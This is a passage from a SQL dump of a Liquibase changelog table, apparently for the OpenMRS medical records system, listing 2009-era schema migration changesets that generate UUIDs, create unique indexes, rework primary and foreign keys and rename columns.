07:11:23',10146,'EXECUTED','3:fce0f7eaab989f2ff9664fc66d6b8419','Update Data','Generating UUIDs for all rows in location table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-location_tag','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10147,'EXECUTED','3:50f26d1376ea108bbb65fd4d0633e741','Update Data','Generating UUIDs for all rows in location_tag table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-note','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10148,'EXECUTED','3:f5a0eea2a7c59fffafa674de4356e621','Update Data','Generating UUIDs for all rows in note table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-notification_alert','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10149,'EXECUTED','3:481fbab9bd53449903ac193894adbc28','Update Data','Generating UUIDs for all rows in notification_alert table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-notification_template','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10150,'EXECUTED','3:a4a2990465c4c99747f83ea880cac46a','Update Data','Generating UUIDs for all rows in notification_template table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-obs','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10151,'EXECUTED','3:26d80fdd889922821244f84e3f8039e7','Update Data','Generating UUIDs for all rows in obs table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-orders','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10153,'EXECUTED','3:ec3bc80540d78f416e1d4eef62e8e15a','Update Data','Generating UUIDs for all rows in orders table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-order_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10152,'EXECUTED','3:cae66b98b889c7ee1c8d6ab270a8d0d5','Update Data','Generating UUIDs for all rows in order_type table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-patient_identifier','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10154,'EXECUTED','3:647906cc7cf1fde9b7644b8f2541664f','Update Data','Generating UUIDs for all rows in patient_identifier table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-patient_identifier_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10155,'EXECUTED','3:85f8db0310c15a74b17e968c7730ae12','Update Data','Generating UUIDs for all rows in patient_identifier_type table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-patient_program','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10156,'EXECUTED','3:576b7db39f0212f8e92b6f4e1844ea30','Update Data','Generating UUIDs for all rows in patient_program table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-patient_state','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10157,'EXECUTED','3:250eab0f97fc4eeb4f1a930fbccfcf08','Update Data','Generating UUIDs for all rows in patient_state table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-person','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10158,'EXECUTED','3:cedc8bcd77ade51558fb2d12916e31a4','Update Data','Generating UUIDs for all rows in person table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-person_address','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10159,'EXECUTED','3:0f817424ca41e5c5b459591d6e18b3c6','Update Data','Generating UUIDs for all rows in person_address table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-person_attribute','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10160,'EXECUTED','3:7f9e09b1267c4a787a9d3e37acfd5746','Update Data','Generating UUIDs for all rows in person_attribute table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-person_attribute_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10161,'EXECUTED','3:1e5f84054b7b7fdf59673e2260f48d9d','Update Data','Generating UUIDs for all rows in person_attribute_type table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-person_name','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10162,'EXECUTED','3:f827da2c097b01ca9073c258b19e9540','Update Data','Generating UUIDs for all rows in person_name table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-privilege','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10163,'EXECUTED','3:2ab150a53c91ded0c5b53fa99fde4ba2','Update Data','Generating UUIDs for all rows in privilege table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-program','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10164,'EXECUTED','3:132b63f2efcf781187602e043122e7ff','Update Data','Generating UUIDs for all rows in program table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-program_workflow','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10165,'EXECUTED','3:d945359ed4bb6cc6a21f4554a0c50a33','Update Data','Generating UUIDs for all rows in program_workflow table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-program_workflow_state','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10166,'EXECUTED','3:4bc093882ac096562d63562ac76a1ffa','Update Data','Generating UUIDs for all rows in program_workflow_state table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-relationship','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10167,'EXECUTED','3:25e22c04ada4808cc31fd48f23703333','Update Data','Generating UUIDs for all rows in relationship table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-relationship_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10168,'EXECUTED','3:562ad77e9453595c9cd22a2cdde3cc41','Update Data','Generating UUIDs for all rows in relationship_type table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-report_object','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10169,'EXECUTED','3:8531f740c64a0d1605225536c1be0860','Update Data','Generating UUIDs for all rows in report_object table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-report_schema_xml','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10170,'EXECUTED','3:cd9efe4d62f2754b057d2d409d6e826a','Update Data','Generating UUIDs for all rows in report_schema_xml table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-role','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10171,'EXECUTED','3:f75bfc36ad13cb9324b9520804a60141','Update Data','Generating UUIDs for all rows in role table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-serialized_object','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10172,'EXECUTED','3:c809b71d2444a8a8e2c5e5574d344c82','Update Data','Generating UUIDs for all rows in serialized_object table via built in uuid function.',NULL,'2.0.5'),('20090402-1517','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:25',10181,'MARK_RAN','3:4edd135921eb263d4811cf1c22ef4846','Custom Change','Adding UUIDs to all rows in all columns via a java class. (This will take a long time on large databases)',NULL,'2.0.5'),('20090402-1518','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:25',10182,'MARK_RAN','3:a9564fc8de85d37f4748a3fa1e69281c','Add Not-Null Constraint (x52)','Now that UUID generation is done, set the uuid columns to not \"NOT NULL\"',NULL,'2.0.5'),('20090402-1519-cohort','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:25',10183,'EXECUTED','3:260c435f1cf3e3f01d953d630c7a578b','Create Index','Creating unique index on cohort.uuid column',NULL,'2.0.5'),('20090402-1519-concept','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:26',10184,'EXECUTED','3:9e363ee4b39e7fdfb547e3a51ad187c7','Create Index','Creating unique index on concept.uuid column',NULL,'2.0.5'),('20090402-1519-concept_answer','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:26',10185,'EXECUTED','3:34b049a3fd545928760968beb1e98e00','Create Index','Creating unique index on concept_answer.uuid column',NULL,'2.0.5'),('20090402-1519-concept_class','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:26',10186,'EXECUTED','3:0fc95dccef2343850adb1fe49d60f3c3','Create Index','Creating unique index on concept_class.uuid column',NULL,'2.0.5'),('20090402-1519-concept_datatype','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:26',10187,'EXECUTED','3:0cf065b0f780dc2eeca994628af49a34','Create Index','Creating unique index on concept_datatype.uuid column',NULL,'2.0.5'),('20090402-1519-concept_description','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:26',10188,'EXECUTED','3:16ce0ad6c3e37071bbfcaad744693d0f','Create Index','Creating unique index on concept_description.uuid column',NULL,'2.0.5'),('20090402-1519-concept_map','bwolfe','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10006,'MARK_RAN','3:b8a320c1d44ab94e785c9ae6c41378f3',NULL,NULL,NULL,NULL),('20090402-1519-concept_name','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:27',10189,'EXECUTED','3:0d5866c0d3eadc8df09b1a7c160508ca','Create Index','Creating unique index on concept_name.uuid column',NULL,'2.0.5'),('20090402-1519-concept_name_tag','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:27',10190,'EXECUTED','3:7ba597ec0fb5fbfba615ac97df642072','Create Index','Creating unique index on concept_name_tag.uuid column',NULL,'2.0.5'),('20090402-1519-concept_proposal','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:27',10191,'EXECUTED','3:79f9f4af9669c2b03511832a23db55e0','Create Index','Creating unique index on concept_proposal.uuid column',NULL,'2.0.5'),('20090402-1519-concept_set','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:27',10192,'EXECUTED','3:f5ba4e2d5ddd4ec66f43501b9749cf70','Create Index','Creating unique index on concept_set.uuid column',NULL,'2.0.5'),('20090402-1519-concept_source','bwolfe','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10007,'MARK_RAN','3:c7c47d9c2876bfa53542885e304b21e7',NULL,NULL,NULL,NULL),('20090402-1519-concept_state_conversion','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:27',10193,'EXECUTED','3:cc9d9bb0d5eb9f6583cd538919b42b9a','Create Index','Creating unique index on concept_state_conversion.uuid column',NULL,'2.0.5'),('20090402-1519-drug','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:28',10194,'EXECUTED','3:8cac800e9f857e29698e1c80ab7e6a52','Create Index','Creating unique index on drug.uuid column',NULL,'2.0.5'),('20090402-1519-encounter','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:28',10195,'EXECUTED','3:8fd623411a44ffb0d4e3a4139e916585','Create Index','Creating unique index on encounter.uuid column',NULL,'2.0.5'),('20090402-1519-encounter_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:28',10196,'EXECUTED','3:71e0e1df8c290d8b6e81e281154661e0','Create Index','Creating unique index on encounter_type.uuid column',NULL,'2.0.5'),('20090402-1519-field','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:29',10197,'EXECUTED','3:36d9eba3e0a90061c6bf1c8aa483110e','Create Index','Creating unique index on field.uuid column',NULL,'2.0.5'),('20090402-1519-field_answer','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:29',10198,'EXECUTED','3:81572b572f758cac173b5d14516f600e','Create Index','Creating unique index on field_answer.uuid column',NULL,'2.0.5'),('20090402-1519-field_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:29',10199,'EXECUTED','3:a0c3927dfde900959131aeb1490a5f51','Create Index','Creating unique index on field_type.uuid column',NULL,'2.0.5'),('20090402-1519-form','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:30',10200,'EXECUTED','3:61147c780ce563776a1caed795661aca','Create Index','Creating unique index on form.uuid column',NULL,'2.0.5'),('20090402-1519-form_field','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:30',10201,'EXECUTED','3:bd9def4522865d181e42809f9dd5c116','Create Index','Creating unique index on form_field.uuid column',NULL,'2.0.5'),('20090402-1519-global_property','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:31',10202,'EXECUTED','3:0e6b84ad5fffa3fd49242b5475e8eb66','Create Index','Creating unique index on global_property.uuid column',NULL,'2.0.5'),('20090402-1519-hl7_in_archive','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:31',10203,'EXECUTED','3:d2f8921c170e416560c234aa74964346','Create Index','Creating unique index on hl7_in_archive.uuid column',NULL,'2.0.5'),('20090402-1519-hl7_in_error','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:32',10204,'EXECUTED','3:9ccec0729ea1b4eaa5068726f9045c25','Create Index','Creating unique index on hl7_in_error.uuid column',NULL,'2.0.5'),('20090402-1519-hl7_in_queue','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:32',10205,'EXECUTED','3:af537cb4134c3f2ed0357f3280ceb6fe','Create Index','Creating unique index on hl7_in_queue.uuid column',NULL,'2.0.5'),('20090402-1519-hl7_source','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:33',10206,'EXECUTED','3:a6d1847b6a590319206f65be9d1d3c9e','Create Index','Creating unique index on hl7_source.uuid column',NULL,'2.0.5'),('20090402-1519-location','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:33',10207,'EXECUTED','3:c435bd4b405d4f11d919777718aa055c','Create Index','Creating unique index on location.uuid column',NULL,'2.0.5'),('20090402-1519-location_tag','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:34',10208,'EXECUTED','3:33a8a54cde59b23a9cdb7740a9995e1a','Create Index','Creating unique index on location_tag.uuid column',NULL,'2.0.5'),('20090402-1519-note','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:34',10209,'EXECUTED','3:97279b2ce285e56613a10a77c5af32b2','Create Index','Creating unique index on note.uuid column',NULL,'2.0.5'),('20090402-1519-notification_alert','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:34',10210,'EXECUTED','3:a763255eddf8607f7d86afbb3099d4b5','Create Index','Creating unique index on notification_alert.uuid column',NULL,'2.0.5'),('20090402-1519-notification_template','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:35',10211,'EXECUTED','3:9a69bbb343077bc62acdf6a66498029a','Create Index','Creating unique index on notification_template.uuid column',NULL,'2.0.5'),('20090402-1519-obs','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:35',10212,'EXECUTED','3:de9a7a24e527542e6b4a73e2cd31a7f9','Create Index','Creating unique index on obs.uuid column',NULL,'2.0.5'),('20090402-1519-orders','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:35',10214,'EXECUTED','3:848c0a00a32c5eb25041ad058fd38263','Create Index','Creating unique index on orders.uuid column',NULL,'2.0.5'),('20090402-1519-order_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:35',10213,'EXECUTED','3:d938d263e0acf974d43ad81d2fbe05b0','Create Index','Creating unique index on order_type.uuid column',NULL,'2.0.5'),('20090402-1519-patient_identifier','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:35',10215,'EXECUTED','3:43389efa06408c8312d130654309d140','Create Index','Creating unique index on patient_identifier.uuid column',NULL,'2.0.5'),('20090402-1519-patient_identifier_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:36',10216,'EXECUTED','3:3ffe4f31a1c48d2545e8eed4127cc490','Create Index','Creating unique index on patient_identifier_type.uuid column',NULL,'2.0.5'),('20090402-1519-patient_program','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:36',10217,'EXECUTED','3:ce69defda5ba254914f2319f3a7aac02','Create Index','Creating unique index on patient_program.uuid column',NULL,'2.0.5'),('20090402-1519-patient_state','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:36',10218,'EXECUTED','3:a4ca15f62b3c8c43f7f47ef8b9e39cd3','Create Index','Creating unique index on patient_state.uuid column',NULL,'2.0.5'),('20090402-1519-person','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:37',10219,'EXECUTED','3:345a5d4e8dea4d56c1a0784e7b35a801','Create Index','Creating unique index on person.uuid column',NULL,'2.0.5'),('20090402-1519-person_address','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:37',10220,'EXECUTED','3:105ece744a45b624ea8990f152bb8300','Create Index','Creating unique index on person_address.uuid column',NULL,'2.0.5'),('20090402-1519-person_attribute','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:37',10221,'EXECUTED','3:67a8cdda8605c28f76314873d2606457','Create Index','Creating unique index on person_attribute.uuid column',NULL,'2.0.5'),('20090402-1519-person_attribute_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:37',10222,'EXECUTED','3:a234ad0ea13f32fc4529cf556151d611','Create Index','Creating unique index on person_attribute_type.uuid column',NULL,'2.0.5'),('20090402-1519-person_name','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:37',10223,'EXECUTED','3:d18e326ce221b4b1232ce2e355731338','Create Index','Creating unique index on person_name.uuid column',NULL,'2.0.5'),('20090402-1519-privilege','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:38',10224,'EXECUTED','3:47e7f70f34a213d870e2aeed795d5e3d','Create Index','Creating unique index on privilege.uuid column',NULL,'2.0.5'),('20090402-1519-program','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:38',10225,'EXECUTED','3:62f9d9ecd2325d5908237a769e9a8bc7','Create Index','Creating unique index on program.uuid column',NULL,'2.0.5'),('20090402-1519-program_workflow','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:38',10226,'EXECUTED','3:fabb3152f6055dc0071a2e5d6f573d2f','Create Index','Creating unique index on program_workflow.uuid column',NULL,'2.0.5'),('20090402-1519-program_workflow_state','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:39',10227,'EXECUTED','3:4fdf0c20aedcdc87b2c6058a1cc8fce7','Create Index','Creating unique index on program_workflow_state.uuid column',NULL,'2.0.5'),('20090402-1519-relationship','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:39',10228,'EXECUTED','3:c90617ca900b1aef3f29e71f693e8a25','Create Index','Creating unique index on relationship.uuid column',NULL,'2.0.5'),('20090402-1519-relationship_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:40',10229,'EXECUTED','3:c9f05aca70b6dad54af121b593587a29','Create Index','Creating unique index on relationship_type.uuid column',NULL,'2.0.5'),('20090402-1519-report_object','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:40',10230,'EXECUTED','3:6069b78580fd0d276f5dae9f3bdf21be','Create Index','Creating unique index on report_object.uuid column',NULL,'2.0.5'),('20090402-1519-report_schema_xml','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:41',10231,'EXECUTED','3:91499d332dda0577fd02b6a6b7b35e99','Create Index','Creating unique index on report_schema_xml.uuid column',NULL,'2.0.5'),('20090402-1519-role','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:41',10232,'EXECUTED','3:c535a800ceb006311bbb7a27e8bab6ea','Create Index','Creating unique index on role.uuid column',NULL,'2.0.5'),('20090402-1519-serialized_object','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:41',10233,'EXECUTED','3:e8f2b1c3a7a67aadc8499ebcb522c91a','Create Index','Creating unique index on serialized_object.uuid column',NULL,'2.0.5'),('20090408-1298','C<NAME>','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10068,'EXECUTED','3:defbd13a058ba3563e232c2093cd2b37','Modify Column','Changed the datatype for encounter_type to \'text\' instead of just 50 chars',NULL,'2.0.5'),('200904091023','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10067,'EXECUTED','3:48adc23e9c5d820a87f6c8d61dfb6b55','Delete Data (x4)','Remove Manage Tribes and View Tribes privileges from the privilege table and role_privilege table.\n The privileges will be recreated by the Tribe module if it is installed.',NULL,'2.0.5'),('20090414-0804','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10173,'EXECUTED','3:479b4df8e3c746b5b96eeea422799774','Drop Foreign Key Constraint','Dropping foreign key on concept_set.concept_id table',NULL,'2.0.5'),('20090414-0805','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10174,'MARK_RAN','3:5017417439ff841eb036ceb94f3c5800','Drop Primary Key','Dropping primary key on concept set table',NULL,'2.0.5'),('20090414-0806','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10175,'MARK_RAN','3:6b9cec59fd607569228bf87d4dffa1a5','Add Column','Adding new integer primary key to concept set table',NULL,'2.0.5'),('20090414-0807','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:24',10176,'MARK_RAN','3:57834f6c953f34035237e06a2dbed9c7','Create Index, Add Foreign Key Constraint','Adding index and foreign key to concept_set.concept_id column',NULL,'2.0.5'),('20090414-0808a','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:25',10177,'EXECUTED','3:6c9d9e6b85c1bf04fdbf9fdec316f2ea','Drop Foreign Key Constraint','Dropping foreign key on patient_identifier.patient_id column',NULL,'2.0.5'),('20090414-0808b','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:25',10178,'MARK_RAN','3:12e01363841135ed0dae46d71e7694cf','Drop Primary Key','Dropping non-integer primary key on patient identifier table before adding a new integer primary key',NULL,'2.0.5'),('20090414-0809','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:25',10179,'MARK_RAN','3:864765efa4cae1c8ffb1138d63f77017','Add Column','Adding new integer primary key to patient identifier table',NULL,'2.0.5'),('20090414-0810','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:25',10180,'MARK_RAN','3:4ca46ee358567e35c897a73c065e3367','Create Index, Add Foreign Key Constraint','Adding index and foreign key on patient_identifier.patient_id column',NULL,'2.0.5'),('20090414-0811a','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:41',10234,'EXECUTED','3:f027a0ad38c0f6302def391da78aaaee','Drop Foreign Key Constraint','Dropping foreign key on concept_word.concept_id column',NULL,'2.0.5'),('20090414-0811b','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:41',10236,'MARK_RAN','3:982d502e56854922542286cead4c09ce','Drop Primary Key','Dropping non-integer primary key on concept word table before adding new integer one',NULL,'2.0.5'),('20090414-0812','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:41',10237,'MARK_RAN','3:948e635fe3f63122856ca9b8a174352b','Add Column','Adding integer primary key to concept word table',NULL,'2.0.5'),('20090414-0812b','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10238,'MARK_RAN','3:bd7731e58f3db9b944905597a08eb6cb','Add Foreign Key Constraint','Re-adding foreign key for concept_word.concept_name_id',NULL,'2.0.5'),('200904271042','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10241,'MARK_RAN','3:db63ce704aff4741c52181d1c825ab62','Drop Column','Remove the now unused synonym column',NULL,'2.0.5'),('20090428-0811aa','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:41',10235,'MARK_RAN','3:58d8f3df1fe704714a7b4957a6c0e7f7','Drop Foreign Key Constraint','Removing concept_word.concept_name_id foreign key so that primary key can be changed to concept_word_id',NULL,'2.0.5'),('20090428-0854','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10239,'EXECUTED','3:11086a37155507c0238c9532f66b172b','Add Foreign Key Constraint','Adding foreign key for concept_word.concept_id column',NULL,'2.0.5'),('200905071626','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:21',10070,'MARK_RAN','3:d29884c3ef8fd867c3c2ffbd557c14c2','Create Index','Add an index to the concept_word.concept_id column (This update may fail if it already exists)',NULL,'2.0.5'),('200905150814','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10069,'EXECUTED','3:44c729b393232d702553e0768cf94994','Delete Data','Deleting invalid concept words',NULL,'2.0.5'),('200905150821','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10240,'EXECUTED','3:c0b7abc7eb00f243325b4a3fb2afc614','Custom SQL','Deleting duplicate concept word keys',NULL,'2.0.5'),('200906301606','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10244,'EXECUTED','3:de40c56c128997509d1d943ed047c5d2','Modify Column','Change person_attribute_type.sort_weight from an integer to a float',NULL,'2.0.5'),('200907161638-1','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10245,'EXECUTED','3:dfd352bdc4c5e6c88cd040d03c782e31','Modify Column','Change obs.value_numeric from a double(22,0) to a double',NULL,'2.0.5'),('200907161638-2','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10246,'EXECUTED','3:a8dc0bd1593e6c99a02db443bc4cb001','Modify Column','Change concept_numeric columns from a double(22,0) type to a double',NULL,'2.0.5'),('200907161638-3','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10247,'EXECUTED','3:47b8adbcd480660765dd117020a1e085','Modify Column','Change concept_set.sort_weight from a double(22,0) to a double',NULL,'2.0.5'),('200907161638-4','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10248,'EXECUTED','3:3ffccaa291298fea317eb7025c058492','Modify Column','Change concept_set_derived.sort_weight from a double(22,0) to a double',NULL,'2.0.5'),('200907161638-5','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10249,'EXECUTED','3:3b31cf625830c7e37fa638dbf9625000','Modify Column','Change drug table columns from a double(22,0) to a double',NULL,'2.0.5'),('200907161638-6','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10250,'EXECUTED','3:dc733faec1539038854c0b559b45da0e','Modify Column','Change drug_order.dose from a double(22,0) to a double',NULL,'2.0.5'),('200908291938-1','dthomas','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10008,'MARK_RAN','3:b99a6d7349d367c30e8b404979e07b89',NULL,NULL,NULL,NULL),('200908291938-2a','dthomas','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10009,'MARK_RAN','3:7e9e8d9bffcb6e602b155827f72a3856',NULL,NULL,NULL,NULL),('20090831-1039-38-scheduler_task_config','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10254,'MARK_RAN','3:54e254379235d5c8b569a00ac7dc9c3f','Add Column','Adding \"uuid\" column to scheduler_task_config table',NULL,'2.0.5'),('20090831-1040-scheduler_task_config','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10255,'EXECUTED','3:a9b26bdab35405050c052a9a3f763db0','Update Data','Generating UUIDs for all rows in scheduler_task_config table via built in uuid function.',NULL,'2.0.5'),('20090831-1041-scheduler_task_config','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10256,'MARK_RAN','3:25127273b2d501664ce325922b0c7db2','Custom Change','Adding UUIDs to all rows in scheduler_task_config table via a java class for non mysql/oracle/mssql databases.',NULL,'2.0.5'),('20090831-1042-scheduler_task_config','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:43',10257,'EXECUTED','3:76d8a8b5d342fc4111034861537315cf','Add Not-Null Constraint','Now that UUID generation is done for scheduler_task_config, set the uuid column to not \"NOT NULL\"',NULL,'2.0.5'),('20090831-1043-scheduler_task_config','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:43',10258,'EXECUTED','3:5408ed04284c4f5d57f5160ca5393733','Create Index','Creating unique index on scheduler_task_config.uuid column',NULL,'2.0.5'),('20090907-1','Knoll_Frank','liquibase-update-to-latest.xml','2016-10-27 07:11:43',10259,'MARK_RAN','3:d6f3ed289cdbce6229b1414ec626a33c','Rename Column','Rename the concept_source.date_voided column to date_retired',NULL,'2.0.5'),('20090907-2a','Knoll_Frank','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10260,'MARK_RAN','3:b71e307e4e782cc5a851f764aa7fc0d0','Drop Foreign Key Constraint','Remove the concept_source.voided_by foreign key constraint',NULL,'2.0.5'),('20090907-2b','Knoll_Frank','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10261,'MARK_RAN','3:14e07ebc0a1138ee973bbb26b568d16e','Rename Column, Add Foreign Key Constraint','Rename the concept_source.voided_by column to retired_by',NULL,'2.0.5'),('20090907-3','Knoll_Frank','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10262,'MARK_RAN','3:adee9ced82158f9a9f3d64245ad591c6','Rename Column','Rename the concept_source.voided column to retired',NULL,'2.0.5'),('20090907-4','Knoll_Frank','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10263,'MARK_RAN','3:ad9b6ed4ef3ae43556d3e8c9e2ec0f5c','Rename Column','Rename the concept_source.void_reason column to retire_reason',NULL,'2.0.5'),('20091001-1023','rcrichton','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10291,'MARK_RAN','3:2bf99392005da4e95178bd1e2c28a87b','Add Column','add retired column to relationship_type table',NULL,'2.0.5'),('20091001-1024','rcrichton','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10292,'MARK_RAN','3:31b7b10f75047606406cea156bcc255f','Add Column','add retired_by column to relationship_type table',NULL,'2.0.5'),('20091001-1025','rcrichton','liquibase-update-to-latest.xml','2016-10-27 07:11:47',10293,'MARK_RAN','3:c6dd75893e5573baa0c7426ecccaa92d','Add Foreign Key Constraint','Create the foreign key from the relationship.retired_by to users.user_id.',NULL,'2.0.5'),('20091001-1026','rcrichton','liquibase-update-to-latest.xml','2016-10-27 07:11:47',10294,'MARK_RAN','3:47cfbab54a8049948784a165ffe830af','Add Column','add date_retired column to relationship_type table',NULL,'2.0.5'),('20091001-1027','rcrichton','liquibase-update-to-latest.xml','2016-10-27 